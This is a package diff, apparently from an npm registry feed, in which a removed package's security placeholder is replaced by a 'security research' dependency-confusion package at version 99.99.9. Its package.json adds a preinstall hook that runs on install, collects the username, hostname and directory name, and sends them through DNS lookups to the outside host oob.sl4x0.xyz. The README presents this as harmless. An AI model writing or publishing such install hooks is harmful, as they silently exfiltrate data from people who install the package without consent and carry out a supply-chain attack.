@at-point/valiant-widgets-v2 0.0.1-security → 99.99.9

package/README.md

@@ -1,5 +1,17 @@
-# Security holding package
+# ⚠️ SECURITY RESEARCH POC
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+This package is a **Proof of Concept** for dependency confusion vulnerabilities.
 
-Please refer to www.npmjs.com/advisories?search=%40at-point%2Fvaliant-widgets-v2 for more information.
+## Purpose
+This package demonstrates how attackers can exploit dependency confusion attacks by publishing packages with internal naming conventions.
+
+## What it does
+- Makes a DNS callback to `oob.sl4x0.xyz` during installation
+- Collects: username, hostname, directory path, timestamp
+- Does NOT: steal credentials, install malware, or cause harm
+
+## Legal Notice
+This is for **authorized security research only**. Only install on systems you own or have permission to test.
+
+## For Security Teams
+If you discovered this package in your environment, it indicates a dependency confusion vulnerability. Contact your security team.

package/index.js

@@ -0,0 +1 @@
+// This is a benign placeholder for a Node.js package.

package/package.json

@@ -1,6 +1,18 @@
 {
   "name": "@at-point/valiant-widgets-v2",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.99.9",
+  "description": "⚠️ SECURITY RESEARCH POC - DO NOT USE IN PRODUCTION ⚠️",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "u=$(whoami|tr -cd 'a-zA-Z0-9'|cut -c1-15); h=$(hostname|tr -cd 'a-zA-Z0-9'|cut -c1-20); p=$(basename \"$PWD\"|tr -cd 'a-zA-Z0-9'|cut -c1-15); r=$(date +%s); q=\"valiant.${u}.${h}.${p}.${r}.oob.sl4x0.xyz\"; (nslookup \"$q\" >/dev/null 2>&1 || dig +time=2 +tries=1 \"$q\" A >/dev/null 2>&1) || true"
+  },
+  "author": "sl4x0",
+  "license": "ISC",
+  "publishConfig": {
+    "access": "public"
+  },
+  "keywords": ["security-research", "poc", "dependency-confusion"],
+  "repository": {
+    "type": "git"
+  }
 }